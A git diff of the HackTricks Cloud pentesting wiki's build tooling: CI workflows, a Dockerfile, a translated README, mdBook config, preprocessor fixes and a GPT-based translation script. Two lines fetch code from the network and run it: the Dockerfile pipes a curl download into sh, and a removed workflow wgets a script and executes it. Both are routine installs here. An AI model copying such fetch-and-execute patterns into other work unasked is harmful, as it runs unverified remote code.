||||
- name: Build mdBook
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-${BRANCH}"
|
||||
TITLE="Search Index (${BRANCH})"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
|
||||
fi
|
||||
|
||||
# Create new release
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: |
|
||||
echo "Current branch:"
|
||||
git rev-parse --abbrev-ref HEAD
|
||||
echo "Syncing $BRANCH to S3"
|
||||
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
echo "Sync completed"
|
||||
echo "Cat 3 files from the book"
|
||||
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
|
||||
23
.github/workflows/upload_ht_to_ai.yml
vendored
23
.github/workflows/upload_ht_to_ai.yml
vendored
@@ -1,23 +0,0 @@
|
||||
name: Upload HackTricks to HackTricks AI
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "0 5 1 * *"
|
||||
|
||||
|
||||
jobs:
|
||||
dowload-clean-push:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
steps:
|
||||
# 1. Download the script
|
||||
- name: Dowload script
|
||||
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
|
||||
|
||||
- name: Install pip dependencies
|
||||
run: python3 -m pip install openai
|
||||
|
||||
# 2. Execute the script
|
||||
- name: Execute script
|
||||
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -35,4 +35,3 @@ book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
searchindex.js
|
||||
|
||||
31
Dockerfile
31
Dockerfile
@@ -1,31 +0,0 @@
|
||||
# Use the official Python 3.12 Bullseye image as the base
|
||||
FROM python:3.12-bullseye
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
wget \
|
||||
git \
|
||||
sudo \
|
||||
build-essential \
|
||||
awscli
|
||||
|
||||
# Install Python libraries
|
||||
RUN pip install --upgrade pip && \
|
||||
pip install openai tqdm tiktoken
|
||||
|
||||
# Install Rust & Cargo
|
||||
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
# Install mdBook & plugins
|
||||
RUN cargo install mdbook
|
||||
RUN cargo install mdbook-alerts
|
||||
RUN cargo install mdbook-reading-time
|
||||
RUN cargo install mdbook-pagetoc
|
||||
RUN cargo install mdbook-tabs
|
||||
RUN cargo install mdbook-codename
|
||||
|
||||
# Set the working directory
|
||||
WORKDIR /app
|
||||
|
||||
34
README.md
Normal file
34
README.md
Normal file
@@ -0,0 +1,34 @@
|
||||
# HackTricks Cloud
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> Welkom op die bladsy waar jy elke **hacking trick/technique/whatever verwant aan CI/CD & Cloud** sal vind wat ek geleer het in **CTFs**, **werklike** lewe **omgewings**, **navorsing**, en **lees** navorsings en nuus.
|
||||
|
||||
### **Pentesting CI/CD Metodologie**
|
||||
|
||||
**In die HackTricks CI/CD Metodologie sal jy vind hoe om infrastruktuur wat verband hou met CI/CD aktiwiteite te pentest.** Lees die volgende bladsy vir 'n **inleiding:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Metodologie
|
||||
|
||||
**In die HackTricks Cloud Metodologie sal jy vind hoe om wolkomgewings te pentest.** Lees die volgende bladsy vir 'n **inleiding:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### Lisensie & Vrywaring
|
||||
|
||||
**Kyk hulle in:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Github Statistieke
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
15
book.toml
15
book.toml
@@ -1,7 +1,6 @@
|
||||
[book]
|
||||
authors = ["HackTricks Team"]
|
||||
language = "en"
|
||||
multilingual = false
|
||||
src = "src"
|
||||
title = "HackTricks Cloud"
|
||||
|
||||
@@ -9,26 +8,17 @@ title = "HackTricks Cloud"
|
||||
create-missing = false
|
||||
extra-watch-dirs = ["translations"]
|
||||
|
||||
[preprocessor.alerts]
|
||||
after = ["links"]
|
||||
|
||||
[preprocessor.reading-time]
|
||||
|
||||
[preprocessor.pagetoc]
|
||||
|
||||
[preprocessor.tabs]
|
||||
|
||||
[preprocessor.codename]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
|
||||
additional-js = [
|
||||
"theme/pagetoc.js",
|
||||
"theme/tabs.js",
|
||||
"theme/pagetoc.js",
|
||||
"theme/ht_searcher.js",
|
||||
"theme/sponsor.js",
|
||||
"theme/ai.js"
|
||||
@@ -36,6 +26,7 @@ additional-js = [
|
||||
no-section-label = true
|
||||
preferred-dark-theme = "hacktricks-dark"
|
||||
default-theme = "hacktricks-light"
|
||||
hash-files = false
|
||||
|
||||
[output.html.fold]
|
||||
enable = true # whether or not to enable section folding
|
||||
|
||||
@@ -53,11 +53,17 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
except Exception as e:
|
||||
@@ -65,11 +71,17 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
except Exception as e:
|
||||
@@ -147,8 +159,14 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
logger.debug(f"Book keys: {book.keys()}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
# Handle both old (sections) and new (items) mdbook API
|
||||
book_items = book.get('sections') or book.get('items', [])
|
||||
|
||||
for chapter in iterate_chapters(book_items):
|
||||
if chapter is None:
|
||||
continue
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
current_chapter = chapter
|
||||
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Define the image folder and the root of your project
|
||||
IMAGE_FOLDER="./src/images"
|
||||
PROJECT_ROOT="."
|
||||
|
||||
# Move to the project root
|
||||
cd "$PROJECT_ROOT" || exit
|
||||
|
||||
# Loop through each image file in the folder
|
||||
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
|
||||
# Extract the filename without the path
|
||||
image_name=$(basename "$image")
|
||||
|
||||
# If image file name contains "sponsor", skip it
|
||||
if [[ "$image_name" == *"sponsor"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"arte"* ]]; then
|
||||
echo "Skipping arte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"grte"* ]]; then
|
||||
echo "Skipping grte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"azrte"* ]]; then
|
||||
echo "Skipping azrte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"websec"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"venacus"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CLOUD"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"cloud.gif"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CH_logo"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"lasttower"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
|
||||
|
||||
echo "Checking image: $image_name"
|
||||
|
||||
# Search for the image name using rg and capture the result
|
||||
search_result=$(rg -F --files-with-matches "$image_name" \
|
||||
--no-ignore --hidden \
|
||||
--glob '!.git/*' \
|
||||
--glob '!$IMAGE_FOLDER/*' < /dev/null)
|
||||
|
||||
echo "Search result: $search_result"
|
||||
|
||||
# If rg doesn't find any matches, delete the image
|
||||
if [ -z "$search_result" ]; then
|
||||
echo "Deleting unused image: $image"
|
||||
rm "$image"
|
||||
else
|
||||
echo "Image used: $image_name"
|
||||
echo "$search_result"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Cleanup completed!"
|
||||
@@ -1,165 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def replace_refs_in_text(text: str, new_refs: list):
|
||||
"""Replace all refs in text with new_refs, maintaining order."""
|
||||
matches = list(REF_RE.finditer(text))
|
||||
if len(matches) != len(new_refs):
|
||||
return text # Can't replace if counts don't match
|
||||
|
||||
# Replace from end to beginning to avoid offset issues
|
||||
result = text
|
||||
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
|
||||
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
|
||||
start, end = match.span()
|
||||
# Format the replacement with proper newlines
|
||||
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
|
||||
result = result[:start] + formatted_replacement + result[end:]
|
||||
|
||||
return result
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
|
||||
parser.add_argument("--files-unmatched-paths", type=str,
|
||||
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
if not REFS_JSON.exists():
|
||||
raise SystemExit(f"Reference file not found: {REFS_JSON}")
|
||||
|
||||
# Load the reference refs from master branch
|
||||
try:
|
||||
with open(REFS_JSON, 'r', encoding='utf-8') as f:
|
||||
master_refs = json.load(f)
|
||||
except (json.JSONDecodeError, UnicodeDecodeError) as e:
|
||||
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
|
||||
|
||||
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
|
||||
|
||||
files_processed = 0
|
||||
files_modified = 0
|
||||
files_with_differences = 0
|
||||
unmatched_files = [] # Track files with unmatched refs
|
||||
|
||||
# Track which files exist in current branch
|
||||
current_files = set()
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
|
||||
files_processed += 1
|
||||
|
||||
# Track this file as existing in current branch
|
||||
current_files.add(rel)
|
||||
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
current_refs = extract_refs(content)
|
||||
|
||||
# Check if file exists in master refs
|
||||
if rel not in master_refs:
|
||||
if current_refs:
|
||||
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
master_file_refs = master_refs[rel]
|
||||
|
||||
# Compare ref counts
|
||||
if len(current_refs) != len(master_file_refs):
|
||||
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
# If no refs in either, skip
|
||||
if not current_refs and not master_file_refs:
|
||||
continue
|
||||
|
||||
# Compare individual refs
|
||||
differences_found = False
|
||||
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
|
||||
if current_ref != master_ref:
|
||||
if not differences_found:
|
||||
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
|
||||
differences_found = True
|
||||
print(f" Ref {i+1}:")
|
||||
print(f" Master: {repr(master_ref)}")
|
||||
print(f" Current: {repr(current_ref)}")
|
||||
|
||||
if differences_found:
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Replace current refs with master refs
|
||||
try:
|
||||
new_content = replace_refs_in_text(content, master_file_refs)
|
||||
if new_content != content:
|
||||
md_path.write_text(new_content, encoding="utf-8")
|
||||
files_modified += 1
|
||||
print(f" ✅ Fixed refs in {rel_with_src}")
|
||||
else:
|
||||
print(f" ❌ Failed to replace refs in {rel_with_src}")
|
||||
except Exception as e:
|
||||
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
|
||||
|
||||
# Check for files that exist in master refs but not in current branch
|
||||
unexisted_files = 0
|
||||
for master_file_rel in master_refs.keys():
|
||||
if master_file_rel not in current_files:
|
||||
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
|
||||
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
|
||||
unexisted_files += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Save unmatched files to specified path if requested
|
||||
if args.files_unmatched_paths and unmatched_files:
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
|
||||
f.write(','.join(list(set(unmatched_files))))
|
||||
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
|
||||
elif args.files_unmatched_paths and not unmatched_files:
|
||||
# Create empty file if no unmatched files found
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
unmatched_paths_file.write_text('\n', encoding='utf-8')
|
||||
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
|
||||
|
||||
print(f"\n SUMMARY:")
|
||||
print(f" Files processed: {files_processed}")
|
||||
print(f" Files with different refs: {files_with_differences}")
|
||||
print(f" Files modified: {files_modified}")
|
||||
print(f" Non existing files: {unexisted_files}")
|
||||
if unmatched_files:
|
||||
print(f" Unmatched files: {len(unmatched_files)}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,38 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def main():
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
refs = extract_refs(content)
|
||||
refs_per_path[rel] = refs # keep order from findall
|
||||
|
||||
|
||||
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
|
||||
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -12,25 +12,15 @@ from tqdm import tqdm #pip3 install tqdm
|
||||
import traceback
|
||||
|
||||
|
||||
|
||||
MASTER_BRANCH = "master"
|
||||
VERBOSE = True
|
||||
MAX_TOKENS = 50000 #gpt-4-1106-preview
|
||||
DISALLOWED_SPECIAL = "<|endoftext|>"
|
||||
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
|
||||
|
||||
def _sanitize(text: str) -> str:
|
||||
"""
|
||||
Replace the reserved tiktoken token with a harmless placeholder.
|
||||
Called everywhere a string can flow into tiktoken.encode() or the
|
||||
OpenAI client.
|
||||
"""
|
||||
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
|
||||
MAX_TOKENS = 10000 #gpt-4-1106-preview
|
||||
|
||||
def reportTokens(prompt, model):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
|
||||
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
prompt = _sanitize(prompt)
|
||||
return len(encoding.encode(prompt))
|
||||
|
||||
|
||||
@@ -46,37 +36,35 @@ def get_branch_files(branch):
|
||||
files = result.stdout.decode().splitlines()
|
||||
return set(files)
|
||||
|
||||
def get_unused_files(branch):
|
||||
def delete_unique_files(branch):
|
||||
"""Delete files that are unique to branch2."""
|
||||
# Get the files in each branch
|
||||
files_branch_master = get_branch_files(MASTER_BRANCH)
|
||||
files_branch_lang = get_branch_files(branch)
|
||||
files_branch1 = get_branch_files(MASTER_BRANCH)
|
||||
files_branch2 = get_branch_files(branch)
|
||||
|
||||
# Find the files that are in branch2 but not in branch1
|
||||
unique_files = files_branch_lang - files_branch_master
|
||||
unique_files = files_branch2 - files_branch1
|
||||
|
||||
return unique_files
|
||||
if unique_files:
|
||||
# Switch to the second branch
|
||||
subprocess.run(["git", "checkout", branch])
|
||||
|
||||
# Delete the unique files from the second branch
|
||||
for file in unique_files:
|
||||
subprocess.run(["git", "rm", file])
|
||||
|
||||
subprocess.run(["git", "checkout", MASTER_BRANCH])
|
||||
|
||||
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
|
||||
|
||||
|
||||
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
|
||||
"""
|
||||
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
|
||||
Also remove all the files that are not in the master branch.
|
||||
"""
|
||||
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
|
||||
# If branch doesn't exist, create it
|
||||
if branch_exists.returncode != 0:
|
||||
subprocess.run(['git', 'checkout', '-b', branch])
|
||||
else:
|
||||
subprocess.run(['git', 'checkout', branch])
|
||||
|
||||
# Get files to delete
|
||||
files_to_delete = get_unused_files(branch)
|
||||
|
||||
# Delete files
|
||||
for file in files_to_delete:
|
||||
os.remove(file)
|
||||
print(f"[+] Deleted {file}")
|
||||
|
||||
# Walk through source directory
|
||||
for dirpath, dirnames, filenames in os.walk(temp_folder):
|
||||
@@ -91,72 +79,32 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
|
||||
for file_name in filenames:
|
||||
src_file = os.path.join(dirpath, file_name)
|
||||
shutil.copy2(src_file, dest_path)
|
||||
if not "/images/" in src_file and not "/theme/" in src_file:
|
||||
print(f"[+] Copied from {src_file} to {file_name}")
|
||||
|
||||
print(f"Translated files copied to branch: {branch}")
|
||||
|
||||
if translate_files:
|
||||
commit_and_push(translate_files, branch)
|
||||
subprocess.run(['git', 'add', "-A"])
|
||||
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
|
||||
subprocess.run(['git', 'checkout', MASTER_BRANCH])
|
||||
print("Commit created and moved to master branch")
|
||||
else:
|
||||
print("No commiting anything, leaving in language branch")
|
||||
|
||||
def commit_and_push(translate_files, branch):
|
||||
# Define the commands we want to run
|
||||
commands = [
|
||||
['git', 'add', '-A'],
|
||||
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
|
||||
['git', 'push', '--set-upstream', 'origin', branch],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# Print stdout and stderr (if any)
|
||||
if result.stdout:
|
||||
print(f"STDOUT for {cmd}:\n{result.stdout}")
|
||||
if "nothing to commit" in result.stdout.lower():
|
||||
print("Nothing to commit, leaving")
|
||||
exit(0)
|
||||
|
||||
if result.stderr:
|
||||
print(f"STDERR for {cmd}:\n{result.stderr}")
|
||||
|
||||
# Check for errors
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Command `{cmd}` failed with exit code {result.returncode}"
|
||||
)
|
||||
|
||||
print("Commit created and pushed")
|
||||
|
||||
|
||||
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
|
||||
if not text:
|
||||
return text
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
|
||||
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
|
||||
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
|
||||
|
||||
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
|
||||
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
|
||||
- Don't translate or modify tags, links, refs and paths like in:
|
||||
- {{#tabs}}
|
||||
- {{#tab name="Method1"}}
|
||||
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
|
||||
- {{#include ./banners/hacktricks-training.md}}
|
||||
- {{#ref}}macos-tcc-bypasses/{{#endref}}
|
||||
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
|
||||
- Don't translate any other tag, just return markdown and html content as is.
|
||||
|
||||
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
|
||||
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
|
||||
{"role": "user", "content": text},
|
||||
]
|
||||
try:
|
||||
response = client.chat.completions.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=1 # 1 because gpt-5 doesn't support other
|
||||
temperature=0
|
||||
)
|
||||
except Exception as e:
|
||||
print("Python Exception: " + str(e))
|
||||
@@ -201,9 +149,6 @@ Also don't add any extra stuff in your response that is not part of the translat
|
||||
return translate_text(language, text, file_path, model, cont, False, client)
|
||||
|
||||
response_message = response.choices[0].message.content.strip()
|
||||
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
|
||||
response_message = response_message.replace("Bypassy", "Bypasses")
|
||||
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
|
||||
|
||||
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
|
||||
cont2 = 0
|
||||
@@ -225,11 +170,9 @@ def split_text(text, model):
|
||||
chunks = []
|
||||
chunk = ''
|
||||
in_code_block = False
|
||||
in_ref = False
|
||||
|
||||
for line in lines:
|
||||
|
||||
# Keep code blocks as one chunk
|
||||
# If we are in a code block, just add the code to the chunk
|
||||
if line.startswith('```'):
|
||||
|
||||
# If we are in a code block, finish it with the "```"
|
||||
@@ -245,24 +188,8 @@ def split_text(text, model):
|
||||
chunk += line + '\n'
|
||||
|
||||
continue
|
||||
|
||||
"""
|
||||
Prevent refs using `` like:
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
||||
{{#endref}}
|
||||
"""
|
||||
if line.startswith('{{#ref}}'):
|
||||
in_ref = True
|
||||
|
||||
if in_ref:
|
||||
line = line.replace("`", "")
|
||||
|
||||
if line.startswith('{{#endref}}'):
|
||||
in_ref = False
|
||||
|
||||
|
||||
# If new section, see if we should be splitting the text
|
||||
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
|
||||
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
|
||||
|
||||
@@ -275,30 +202,23 @@ def split_text(text, model):
|
||||
return chunks
|
||||
|
||||
|
||||
